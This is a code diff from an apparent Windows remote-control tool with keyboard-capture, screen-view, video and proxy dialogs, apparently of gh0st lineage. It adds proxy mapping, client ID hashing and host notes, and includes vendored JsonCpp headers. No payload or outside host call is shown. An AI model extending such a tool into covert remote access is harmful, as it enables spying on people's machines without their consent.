@@ -48,8 +139,8 @@ public:
VOID InitControl(); //<2F><>ʼ<EFBFBD>ؼ<EFBFBD> VOID InitControl(); //<2F><>ʼ<EFBFBD>ؼ<EFBFBD>
VOID TestOnline(); //<2F><><EFBFBD>Ժ<EFBFBD><D4BA><EFBFBD> VOID TestOnline(); //<2F><><EFBFBD>Ժ<EFBFBD><D4BA><EFBFBD>
VOID AddList(CString strIP, CString strAddr, CString strPCName, CString strOS, VOID AddList(CString strIP, CString strAddr, CString strPCName, CString strOS, CString strCPU, CString strVideo, CString strPing,
CString strCPU, CString strVideo, CString strPing, CString ver, CString st, CString tp, CONTEXT_OBJECT* ContextObject); CString ver, CString startTime, const std::vector<std::string> &v, CONTEXT_OBJECT* ContextObject);
VOID ShowMessage(BOOL bOk, CString strMsg); VOID ShowMessage(BOOL bOk, CString strMsg);
VOID CreatStatusBar(); VOID CreatStatusBar();
VOID CreateToolBar(); VOID CreateToolBar();
@@ -79,7 +170,7 @@ public:
CRITICAL_SECTION m_cs; CRITICAL_SECTION m_cs;
BOOL isClosed; BOOL isClosed;
CMenu m_MainMenu; CMenu m_MainMenu;
CBitmap m_bmOnline[4]; CBitmap m_bmOnline[6];
bool CheckValid(); bool CheckValid();
afx_msg void OnTimer(UINT_PTR nIDEvent); afx_msg void OnTimer(UINT_PTR nIDEvent);
afx_msg void OnClose(); afx_msg void OnClose();
@@ -119,10 +210,14 @@ public:
afx_msg LRESULT OnOpenVideoDialog(WPARAM wParam, LPARAM lParam); afx_msg LRESULT OnOpenVideoDialog(WPARAM wParam, LPARAM lParam);
afx_msg LRESULT OnHandleMessage(WPARAM wParam, LPARAM lParam); afx_msg LRESULT OnHandleMessage(WPARAM wParam, LPARAM lParam);
afx_msg LRESULT OnOpenKeyboardDialog(WPARAM wParam, LPARAM lParam); afx_msg LRESULT OnOpenKeyboardDialog(WPARAM wParam, LPARAM lParam);
afx_msg LRESULT OnOpenProxyDialog(WPARAM wParam, LPARAM lParam);
afx_msg LRESULT UPXProcResult(WPARAM wParam, LPARAM lParam); afx_msg LRESULT UPXProcResult(WPARAM wParam, LPARAM lParam);
afx_msg BOOL OnHelpInfo(HELPINFO* pHelpInfo); afx_msg BOOL OnHelpInfo(HELPINFO* pHelpInfo);
virtual BOOL PreTranslateMessage(MSG* pMsg); virtual BOOL PreTranslateMessage(MSG* pMsg);
afx_msg void OnOnlineShare(); afx_msg void OnOnlineShare();
afx_msg void OnToolAuth(); afx_msg void OnToolAuth();
afx_msg void OnToolGenMaster(); afx_msg void OnToolGenMaster();
afx_msg void OnMainProxy();
afx_msg void OnOnlineHostnote();
}; };

View File

@@ -74,34 +74,33 @@
<PropertyGroup Label="UserMacros" /> <PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental> <LinkIncremental>true</LinkIncremental>
<IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(IncludePath)</IncludePath> <IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter;$(ProjectDir);$(SolutionDir)common;$(IncludePath)</IncludePath>
<LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)compress;$(SolutionDir);$(LibraryPath)</LibraryPath> <LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter\lib;$(SolutionDir);$(LibraryPath)</LibraryPath>
</PropertyGroup> </PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'"> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental> <LinkIncremental>true</LinkIncremental>
<IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(IncludePath)</IncludePath> <IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter;$(ProjectDir);$(SolutionDir)common;$(IncludePath)</IncludePath>
<LibraryPath>$(VLDPATH)\lib\Win64\;$(SolutionDir)compress;$(SolutionDir);$(LibraryPath)</LibraryPath> <LibraryPath>$(VLDPATH)\lib\Win64\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter\lib;$(SolutionDir);$(LibraryPath)</LibraryPath>
</PropertyGroup> </PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental> <LinkIncremental>false</LinkIncremental>
<LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)compress;$(SolutionDir);$(LibraryPath)</LibraryPath> <LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter\lib;$(SolutionDir);$(LibraryPath)</LibraryPath>
<IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(IncludePath)</IncludePath> <IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter;$(ProjectDir);$(SolutionDir)common;$(IncludePath)</IncludePath>
</PropertyGroup> </PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental> <LinkIncremental>false</LinkIncremental>
<LibraryPath>$(VLDPATH)\lib\Win64\;$(SolutionDir)compress;$(SolutionDir);$(LibraryPath)</LibraryPath> <LibraryPath>$(VLDPATH)\lib\Win64\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter\lib;$(SolutionDir);$(LibraryPath)</LibraryPath>
<IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(IncludePath)</IncludePath> <IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter;$(ProjectDir);$(SolutionDir)common;$(IncludePath)</IncludePath>
</PropertyGroup> </PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile> <ClCompile>
<PrecompiledHeader>Use</PrecompiledHeader> <PrecompiledHeader>Use</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel> <WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization> <Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_WINDOWS;_DEBUG;_CRT_SECURE_NO_WARNINGS;ZLIB_WINAPI;%(PreprocessorDefinitions)</PreprocessorDefinitions> <PreprocessorDefinitions>WIN32;_WINDOWS;_DEBUG;_CRT_SECURE_NO_WARNINGS;ZLIB_WINAPI;HPSOCKET_STATIC_LIB;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<MultiProcessorCompilation>true</MultiProcessorCompilation> <MultiProcessorCompilation>true</MultiProcessorCompilation>
<MinimalRebuild>false</MinimalRebuild> <MinimalRebuild>false</MinimalRebuild>
<AdditionalIncludeDirectories>$(SolutionDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories> <AdditionalIncludeDirectories>$(SolutionDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<LanguageStandard>Default</LanguageStandard>
</ClCompile> </ClCompile>
<Link> <Link>
<SubSystem>Windows</SubSystem> <SubSystem>Windows</SubSystem>
@@ -126,11 +125,10 @@
<PrecompiledHeader>Use</PrecompiledHeader> <PrecompiledHeader>Use</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel> <WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization> <Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_WINDOWS;_DEBUG;_CRT_SECURE_NO_WARNINGS;ZLIB_WINAPI;%(PreprocessorDefinitions)</PreprocessorDefinitions> <PreprocessorDefinitions>WIN32;_WINDOWS;_DEBUG;_CRT_SECURE_NO_WARNINGS;ZLIB_WINAPI;HPSOCKET_STATIC_LIB;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<MultiProcessorCompilation>true</MultiProcessorCompilation> <MultiProcessorCompilation>true</MultiProcessorCompilation>
<MinimalRebuild>false</MinimalRebuild> <MinimalRebuild>false</MinimalRebuild>
<AdditionalIncludeDirectories>$(SolutionDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories> <AdditionalIncludeDirectories>$(SolutionDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<LanguageStandard>Default</LanguageStandard>
</ClCompile> </ClCompile>
<Link> <Link>
<SubSystem>Windows</SubSystem> <SubSystem>Windows</SubSystem>
@@ -155,12 +153,11 @@
<PrecompiledHeader>Use</PrecompiledHeader> <PrecompiledHeader>Use</PrecompiledHeader>
<Optimization>MinSpace</Optimization> <Optimization>MinSpace</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking> <FunctionLevelLinking>true</FunctionLevelLinking>
<PreprocessorDefinitions>WIN32;_WINDOWS;NDEBUG;_CRT_SECURE_NO_WARNINGS;ZLIB_WINAPI;%(PreprocessorDefinitions)</PreprocessorDefinitions> <PreprocessorDefinitions>WIN32;_WINDOWS;NDEBUG;_CRT_SECURE_NO_WARNINGS;ZLIB_WINAPI;HPSOCKET_STATIC_LIB;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<MultiProcessorCompilation>true</MultiProcessorCompilation> <MultiProcessorCompilation>true</MultiProcessorCompilation>
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed> <FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
<StringPooling>true</StringPooling> <StringPooling>true</StringPooling>
<AdditionalIncludeDirectories>$(SolutionDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories> <AdditionalIncludeDirectories>$(SolutionDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<LanguageStandard>Default</LanguageStandard>
</ClCompile> </ClCompile>
<Link> <Link>
<SubSystem>Windows</SubSystem> <SubSystem>Windows</SubSystem>
@@ -188,12 +185,11 @@
<PrecompiledHeader>Use</PrecompiledHeader> <PrecompiledHeader>Use</PrecompiledHeader>
<Optimization>MinSpace</Optimization> <Optimization>MinSpace</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking> <FunctionLevelLinking>true</FunctionLevelLinking>
<PreprocessorDefinitions>WIN32;_WINDOWS;NDEBUG;_CRT_SECURE_NO_WARNINGS;ZLIB_WINAPI;%(PreprocessorDefinitions)</PreprocessorDefinitions> <PreprocessorDefinitions>WIN32;_WINDOWS;NDEBUG;_CRT_SECURE_NO_WARNINGS;ZLIB_WINAPI;HPSOCKET_STATIC_LIB;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<MultiProcessorCompilation>true</MultiProcessorCompilation> <MultiProcessorCompilation>true</MultiProcessorCompilation>
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed> <FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
<StringPooling>true</StringPooling> <StringPooling>true</StringPooling>
<AdditionalIncludeDirectories>$(SolutionDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories> <AdditionalIncludeDirectories>$(SolutionDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<LanguageStandard>Default</LanguageStandard>
</ClCompile> </ClCompile>
<Link> <Link>
<SubSystem>Windows</SubSystem> <SubSystem>Windows</SubSystem>
@@ -215,12 +211,8 @@
</ResourceCompile> </ResourceCompile>
</ItemDefinitionGroup> </ItemDefinitionGroup>
<ItemGroup> <ItemGroup>
<None Include="..\..\Release\ghost.exe" />
<None Include="..\..\Release\ServerDll.dll" /> <None Include="..\..\Release\ServerDll.dll" />
<None Include="..\..\Release\TestRun.exe" />
<None Include="..\..\x64\Release\ghost.exe" />
<None Include="..\..\x64\Release\ServerDll.dll" /> <None Include="..\..\x64\Release\ServerDll.dll" />
<None Include="..\..\x64\Release\TestRun.exe" />
<None Include="res\1.cur" /> <None Include="res\1.cur" />
<None Include="res\2.cur" /> <None Include="res\2.cur" />
<None Include="res\2015Remote.ico" /> <None Include="res\2015Remote.ico" />
@@ -247,7 +239,6 @@
</ItemGroup> </ItemGroup>
<ItemGroup> <ItemGroup>
<ClInclude Include="..\..\client\Audio.h" /> <ClInclude Include="..\..\client\Audio.h" />
<ClInclude Include="..\..\common\commands.h" />
<ClInclude Include="2015Remote.h" /> <ClInclude Include="2015Remote.h" />
<ClInclude Include="2015RemoteDlg.h" /> <ClInclude Include="2015RemoteDlg.h" />
<ClInclude Include="AudioDlg.h" /> <ClInclude Include="AudioDlg.h" />
@@ -255,6 +246,7 @@
<ClInclude Include="BuildDlg.h" /> <ClInclude Include="BuildDlg.h" />
<ClInclude Include="CPasswordDlg.h" /> <ClInclude Include="CPasswordDlg.h" />
<ClInclude Include="CpuUseage.h" /> <ClInclude Include="CpuUseage.h" />
<ClInclude Include="DateVerify.h" />
<ClInclude Include="EditDialog.h" /> <ClInclude Include="EditDialog.h" />
<ClInclude Include="FileManagerDlg.h" /> <ClInclude Include="FileManagerDlg.h" />
<ClInclude Include="FileTransferModeDlg.h" /> <ClInclude Include="FileTransferModeDlg.h" />
@@ -262,6 +254,12 @@
<ClInclude Include="InputDlg.h" /> <ClInclude Include="InputDlg.h" />
<ClInclude Include="IOCPServer.h" /> <ClInclude Include="IOCPServer.h" />
<ClInclude Include="KeyBoardDlg.h" /> <ClInclude Include="KeyBoardDlg.h" />
<ClInclude Include="parse_ip.h" />
<ClInclude Include="proxy\HPSocket.h" />
<ClInclude Include="proxy\HPTypeDef.h" />
<ClInclude Include="proxy\ProxyConnectServer.h" />
<ClInclude Include="proxy\ProxyMapDlg.h" />
<ClInclude Include="proxy\SocketInterface.h" />
<ClInclude Include="pwd_gen.h" /> <ClInclude Include="pwd_gen.h" />
<ClInclude Include="RegisterDlg.h" /> <ClInclude Include="RegisterDlg.h" />
<ClInclude Include="Resource.h" /> <ClInclude Include="Resource.h" />
@@ -294,6 +292,9 @@
<ClCompile Include="InputDlg.cpp" /> <ClCompile Include="InputDlg.cpp" />
<ClCompile Include="IOCPServer.cpp" /> <ClCompile Include="IOCPServer.cpp" />
<ClCompile Include="KeyBoardDlg.cpp" /> <ClCompile Include="KeyBoardDlg.cpp" />
<ClCompile Include="parse_ip.cpp" />
<ClCompile Include="proxy\ProxyConnectServer.cpp" />
<ClCompile Include="proxy\ProxyMapDlg.cpp" />
<ClCompile Include="pwd_gen.cpp" /> <ClCompile Include="pwd_gen.cpp" />
<ClCompile Include="RegisterDlg.cpp" /> <ClCompile Include="RegisterDlg.cpp" />
<ClCompile Include="ScreenSpyDlg.cpp" /> <ClCompile Include="ScreenSpyDlg.cpp" />
@@ -318,12 +319,16 @@
<Text Include="..\..\ReadMe.md" /> <Text Include="..\..\ReadMe.md" />
</ItemGroup> </ItemGroup>
<ItemGroup> <ItemGroup>
<Image Include="res\Bitmap\note.bmp" />
<Image Include="res\Bitmap\proxy.bmp" />
<Image Include="res\Bitmap\Share.bmp" /> <Image Include="res\Bitmap\Share.bmp" />
<Image Include="res\Bitmap_4.bmp" /> <Image Include="res\Bitmap_4.bmp" />
<Image Include="res\Bitmap_5.bmp" /> <Image Include="res\Bitmap_5.bmp" />
<Image Include="res\delete.bmp" /> <Image Include="res\delete.bmp" />
<Image Include="res\keyboard.ico" /> <Image Include="res\keyboard.ico" />
<Image Include="res\password.ico" /> <Image Include="res\password.ico" />
<Image Include="res\proxifler.ico" />
<Image Include="res\proxy.ico" />
<Image Include="res\toolbar1.bmp" /> <Image Include="res\toolbar1.bmp" />
<Image Include="res\toolbar2.bmp" /> <Image Include="res\toolbar2.bmp" />
<Image Include="res\update.bmp" /> <Image Include="res\update.bmp" />

View File

@@ -1,8 +1,5 @@
<?xml version="1.0" encoding="utf-8"?> <?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> <Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup>
<RESOURCE_FILE>2015Remote.rc</RESOURCE_FILE>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LocalDebuggerCommand>$(SolutionDir)Bin\$(TargetName)_x86d$(TargetExt)</LocalDebuggerCommand> <LocalDebuggerCommand>$(SolutionDir)Bin\$(TargetName)_x86d$(TargetExt)</LocalDebuggerCommand>
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor> <DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
@@ -11,12 +8,12 @@
<LocalDebuggerCommand>$(SolutionDir)Bin\$(TargetName)_x86$(TargetExt)</LocalDebuggerCommand> <LocalDebuggerCommand>$(SolutionDir)Bin\$(TargetName)_x86$(TargetExt)</LocalDebuggerCommand>
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor> <DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
</PropertyGroup> </PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LocalDebuggerCommand>$(SolutionDir)Bin\$(TargetName)_x64d$(TargetExt)</LocalDebuggerCommand>
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LocalDebuggerCommand>$(SolutionDir)Bin\$(TargetName)_x64$(TargetExt)</LocalDebuggerCommand> <LocalDebuggerCommand>$(SolutionDir)Bin\$(TargetName)_x64$(TargetExt)</LocalDebuggerCommand>
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor> <DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
</PropertyGroup> </PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LocalDebuggerCommand>$(SolutionDir)Bin\$(TargetName)_x64d$(TargetExt)</LocalDebuggerCommand>
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
</PropertyGroup>
</Project> </Project>

View File

@@ -4,6 +4,9 @@
#pragma comment(lib,"ws2_32.lib") #pragma comment(lib,"ws2_32.lib")
#include "CpuUseage.h" #include "CpuUseage.h"
#include "Buffer.h" #include "Buffer.h"
#define XXH_INLINE_ALL
#include "xxhash.h"
#if USING_CTX #if USING_CTX
#include "zstd/zstd.h" #include "zstd/zstd.h"
#endif #endif
@@ -20,6 +23,25 @@
std::string GetRemoteIP(SOCKET sock); std::string GetRemoteIP(SOCKET sock);
enum
{
ONLINELIST_IP = 0, // IP<49><50><EFBFBD><EFBFBD>˳<EFBFBD><CBB3>
ONLINELIST_ADDR, // <20><>ַ
ONLINELIST_LOCATION, // <20><><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>
ONLINELIST_COMPUTER_NAME, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>/<2F><>ע
ONLINELIST_OS, // <20><><EFBFBD><EFBFBD>ϵͳ
ONLINELIST_CPU, // CPU
ONLINELIST_VIDEO, // <20><><EFBFBD><EFBFBD>ͷ(<28><><EFBFBD><EFBFBD>)
ONLINELIST_PING, // PING(<28>Է<EFBFBD><D4B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>)
ONLINELIST_VERSION, // <20><EFBFBD><E6B1BE>Ϣ
ONLINELIST_INSTALLTIME, // <20><>װʱ<D7B0><CAB1>
ONLINELIST_LOGINTIME, // <20><EFBFBD><EEB6AF><EFBFBD><EFBFBD>
ONLINELIST_CLIENTTYPE, // <20>ͻ<EFBFBD><CDBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
ONLINELIST_PATH, // <20>ļ<EFBFBD>·<EFBFBD><C2B7>
ONLINELIST_MAX,
};
// Encoder interface. The default encoder will do nothing. // Encoder interface. The default encoder will do nothing.
class Encoder { class Encoder {
public: public:
@@ -172,7 +194,7 @@ enum IOType
typedef struct CONTEXT_OBJECT typedef struct CONTEXT_OBJECT
{ {
CString sClientInfo[10]; CString sClientInfo[ONLINELIST_MAX];
SOCKET sClientSocket; SOCKET sClientSocket;
WSABUF wsaInBuf; WSABUF wsaInBuf;
WSABUF wsaOutBuffer; WSABUF wsaOutBuffer;
@@ -185,23 +207,30 @@ typedef struct CONTEXT_OBJECT
void *olps; // OVERLAPPEDPLUS void *olps; // OVERLAPPEDPLUS
int CompressMethod; // ѹ<><D1B9><EFBFBD> int CompressMethod; // ѹ<><D1B9><EFBFBD>
HeaderParser Parser; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Э<EFBFBD><D0AD> HeaderParser Parser; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Э<EFBFBD><D0AD>
uint64_t ID; // Ψһ<CEA8><D2BB>ʶ
BOOL m_bProxyConnected; // <20><><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD>
BOOL bLogin; // <20>Ƿ<EFBFBD> login BOOL bLogin; // <20>Ƿ<EFBFBD> login
VOID InitMember() VOID InitMember()
{ {
memset(szBuffer,0,sizeof(char)*PACKET_LENGTH); memset(szBuffer, 0, sizeof(char) * PACKET_LENGTH);
v1 = 0; v1 = 0;
hDlg = NULL; hDlg = NULL;
sClientSocket = INVALID_SOCKET; sClientSocket = INVALID_SOCKET;
memset(&wsaInBuf,0,sizeof(WSABUF)); memset(&wsaInBuf, 0, sizeof(WSABUF));
memset(&wsaOutBuffer,0,sizeof(WSABUF)); memset(&wsaOutBuffer, 0, sizeof(WSABUF));
olps = NULL; olps = NULL;
for (int i = 0; i < ONLINELIST_MAX; i++) {
sClientInfo[i].Empty();
}
CompressMethod = COMPRESS_ZSTD; CompressMethod = COMPRESS_ZSTD;
Parser.Reset(); Parser.Reset();
bLogin = FALSE; bLogin = FALSE;
m_bProxyConnected = FALSE;
} }
VOID SetClientInfo(CString s[10]){ VOID SetClientInfo(const CString(&s)[ONLINELIST_MAX]){
for (int i=0; i<sizeof(sClientInfo)/sizeof(CString);i++) for (int i = 0; i < ONLINELIST_MAX; i++)
{ {
sClientInfo[i] = s[i]; sClientInfo[i] = s[i];
} }
@@ -252,6 +281,17 @@ typedef struct CONTEXT_OBJECT
int s = getpeername(sClientSocket, (SOCKADDR*)&ClientAddr, &ulClientAddrLen); int s = getpeername(sClientSocket, (SOCKADDR*)&ClientAddr, &ulClientAddrLen);
return s != INVALID_SOCKET ? inet_ntoa(ClientAddr.sin_addr) : ""; return s != INVALID_SOCKET ? inet_ntoa(ClientAddr.sin_addr) : "";
} }
static uint64_t CalculateID(const CString(&data)[ONLINELIST_MAX]) {
int idx[] = { ONLINELIST_IP, ONLINELIST_COMPUTER_NAME, ONLINELIST_OS, ONLINELIST_CPU, ONLINELIST_PATH, };
CString s;
for (int i = 0; i < 5; i++) {
s += data[idx[i]] + "|";
}
s.Delete(s.GetLength() - 1);
return XXH64(s.GetString(), s.GetLength(), 0);
}
uint64_t GetID() const { return ID; }
void SetID(uint64_t id) { ID = id; }
}CONTEXT_OBJECT,*PCONTEXT_OBJECT; }CONTEXT_OBJECT,*PCONTEXT_OBJECT;
typedef CList<PCONTEXT_OBJECT> ContextObjectList; typedef CList<PCONTEXT_OBJECT> ContextObjectList;
@@ -326,36 +366,52 @@ public:
IOCPServer(void); IOCPServer(void);
~IOCPServer(void); ~IOCPServer(void);
void Destroy(); void Destroy();
void Disconnect(CONTEXT_OBJECT *ctx){}
pfnNotifyProc m_NotifyProc; pfnNotifyProc m_NotifyProc;
pfnOfflineProc m_OfflineProc; pfnOfflineProc m_OfflineProc;
}; };
typedef IOCPServer ISocketBase;
class CLock class CLock
{ {
public: public:
CLock(CRITICAL_SECTION& cs) CLock(CRITICAL_SECTION& cs) : m_cs(&cs)
{ {
m_cs = &cs;
Lock(); Lock();
} }
CLock() : m_cs(nullptr)
{
InitializeCriticalSection(&i_cs);
}
~CLock() ~CLock()
{ {
Unlock(); m_cs ? Unlock() : DeleteCriticalSection(&i_cs);
} }
void Unlock() void Unlock()
{ {
LeaveCriticalSection(m_cs); LeaveCriticalSection(m_cs ? m_cs : &i_cs);
} }
void Lock() void Lock()
{ {
EnterCriticalSection(m_cs); EnterCriticalSection(m_cs ? m_cs : &i_cs);
}
void unlock()
{
LeaveCriticalSection(m_cs ? m_cs : &i_cs);
}
void lock()
{
EnterCriticalSection(m_cs ? m_cs : &i_cs);
} }
protected: protected:
CRITICAL_SECTION* m_cs; CRITICAL_SECTION* m_cs; // <20>ⲿ<EFBFBD><E2B2BF>
CRITICAL_SECTION i_cs; // <20>ڲ<EFBFBD><DAB2><EFBFBD>
}; };
#define TRACK_OVERLAPPEDPLUS 0 #define TRACK_OVERLAPPEDPLUS 0

View File

@@ -0,0 +1,91 @@
// Copyright 2007-2010 Baptiste Lepilleur and The JsonCpp Authors
// Distributed under MIT license, or public domain if desired and
// recognized in your jurisdiction.
// See file LICENSE for detail or copy at http://jsoncpp.sourceforge.net/LICENSE
#ifndef JSON_ALLOCATOR_H_INCLUDED
#define JSON_ALLOCATOR_H_INCLUDED
#include <cstring>
#include <memory>
#pragma pack(push)
#pragma pack()
namespace Json {
template <typename T> class SecureAllocator {
public:
// Type definitions
using value_type = T;
using pointer = T*;
using const_pointer = const T*;
using reference = T&;
using const_reference = const T&;
using size_type = std::size_t;
using difference_type = std::ptrdiff_t;
/**
* Allocate memory for N items using the standard allocator.
*/
pointer allocate(size_type n) {
// allocate using "global operator new"
return static_cast<pointer>(::operator new(n * sizeof(T)));
}
/**
* Release memory which was allocated for N items at pointer P.
*
* The memory block is filled with zeroes before being released.
*/
void deallocate(pointer p, size_type n) {
// memset_s is used because memset may be optimized away by the compiler
memset_s(p, n * sizeof(T), 0, n * sizeof(T));
// free using "global operator delete"
::operator delete(p);
}
/**
* Construct an item in-place at pointer P.
*/
template <typename... Args> void construct(pointer p, Args&&... args) {
// construct using "placement new" and "perfect forwarding"
::new (static_cast<void*>(p)) T(std::forward<Args>(args)...);
}
size_type max_size() const { return size_t(-1) / sizeof(T); }
pointer address(reference x) const { return std::addressof(x); }
const_pointer address(const_reference x) const { return std::addressof(x); }
/**
* Destroy an item in-place at pointer P.
*/
void destroy(pointer p) {
// destroy using "explicit destructor"
p->~T();
}
// Boilerplate
SecureAllocator() {}
template <typename U> SecureAllocator(const SecureAllocator<U>&) {}
template <typename U> struct rebind {
using other = SecureAllocator<U>;
};
};
template <typename T, typename U>
bool operator==(const SecureAllocator<T>&, const SecureAllocator<U>&) {
return true;
}
template <typename T, typename U>
bool operator!=(const SecureAllocator<T>&, const SecureAllocator<U>&) {
return false;
}
} // namespace Json
#pragma pack(pop)
#endif // JSON_ALLOCATOR_H_INCLUDED

View File

@@ -0,0 +1,61 @@
// Copyright 2007-2010 Baptiste Lepilleur and The JsonCpp Authors
// Distributed under MIT license, or public domain if desired and
// recognized in your jurisdiction.
// See file LICENSE for detail or copy at http://jsoncpp.sourceforge.net/LICENSE
#ifndef JSON_ASSERTIONS_H_INCLUDED
#define JSON_ASSERTIONS_H_INCLUDED
#include <cstdlib>
#include <sstream>
#if !defined(JSON_IS_AMALGAMATION)
#include "config.h"
#endif // if !defined(JSON_IS_AMALGAMATION)
/** It should not be possible for a maliciously designed file to
* cause an abort() or seg-fault, so these macros are used only
* for pre-condition violations and internal logic errors.
*/
#if JSON_USE_EXCEPTION
// @todo <= add detail about condition in exception
#define JSON_ASSERT(condition) \
do { \
if (!(condition)) { \
Json::throwLogicError("assert json failed"); \
} \
} while (0)
#define JSON_FAIL_MESSAGE(message) \
do { \
OStringStream oss; \
oss << message; \
Json::throwLogicError(oss.str()); \
abort(); \
} while (0)
#else // JSON_USE_EXCEPTION
#define JSON_ASSERT(condition) assert(condition)
// The call to assert() will show the failure message in debug builds. In
// release builds we abort, for a core-dump or debugger.
#define JSON_FAIL_MESSAGE(message) \
{ \
OStringStream oss; \
oss << message; \
assert(false && oss.str().c_str()); \
abort(); \
}
#endif
#define JSON_ASSERT_MESSAGE(condition, message) \
do { \
if (!(condition)) { \
JSON_FAIL_MESSAGE(message); \
} \
} while (0)
#endif // JSON_ASSERTIONS_H_INCLUDED

View File

@@ -0,0 +1,150 @@
// Copyright 2007-2010 Baptiste Lepilleur and The JsonCpp Authors
// Distributed under MIT license, or public domain if desired and
// recognized in your jurisdiction.
// See file LICENSE for detail or copy at http://jsoncpp.sourceforge.net/LICENSE
#ifndef JSON_CONFIG_H_INCLUDED
#define JSON_CONFIG_H_INCLUDED
#include <cstddef>
#include <cstdint>
#include <istream>
#include <memory>
#include <ostream>
#include <sstream>
#include <string>
#include <type_traits>
// If non-zero, the library uses exceptions to report bad input instead of C
// assertion macros. The default is to use exceptions.
#ifndef JSON_USE_EXCEPTION
#define JSON_USE_EXCEPTION 1
#endif
// Temporary, tracked for removal with issue #982.
#ifndef JSON_USE_NULLREF
#define JSON_USE_NULLREF 1
#endif
